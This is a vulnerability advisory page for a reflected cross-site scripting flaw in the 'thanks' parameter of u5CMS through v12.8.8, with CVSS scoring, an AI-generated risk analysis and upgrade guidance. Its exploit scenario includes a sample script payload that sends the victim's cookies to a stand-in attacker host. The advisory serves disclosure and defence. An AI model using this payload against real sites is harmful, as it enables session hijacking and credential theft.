EUVD-2026-41325
GHSA-5vjc-525r-rgvh
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible reflected XSS requiring no privileges but mandatory user interaction; scope changes to browser context yields low C/I impact with no server-side availability effect.
Primary rating from Vendor (ncsc).
CVSS VectorVendor: ncsc
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
1DescriptionCVE.org
u5CMS through v12.8.8 is vulnerable to reflected XSS via the ‘thanks’ parameter in multiple form components
AnalysisAI
Reflected XSS in u5CMS through v12.8.8 allows unauthenticated remote attackers to inject arbitrary JavaScript into victim browsers via the unsanitized 'thanks' parameter exposed across multiple form components. When a victim user is socially engineered into visiting a crafted URL, injected scripts execute in the application's browser context, with the CVSS 4.0 vector indicating high subsequent-system impact (SC:H/SI:H/SA:H) - consistent with session hijacking, credential theft, or unauthorized actions on behalf of the victim. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Active user interaction is explicitly required per the CVSS 4.0 UI:A metric - a victim must click or be redirected to the attacker-crafted URL; server-side exploitation without user involvement is not possible. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 6.4 with base vector AV:N/AC:L/AT:N/PR:N/UI:A reflects a moderately exploitable reflected XSS. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies a u5CMS v12.8.8 installation and constructs a URL targeting an affected form endpoint with a JavaScript payload embedded in the 'thanks' parameter (e.g., appending `?thanks=<script>fetch('https://attacker.example/log?c='+document.cookie)</script>`). The attacker delivers this URL to a site administrator via a phishing email or malicious referral link. … |
| Remediation | Upgrade to u5CMS v12.8.9 or later, available at https://github.com/u5cms/u5cms/releases/tag/v12.8.9, which resolves the reflected XSS in the 'thanks' parameter across affected form components. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
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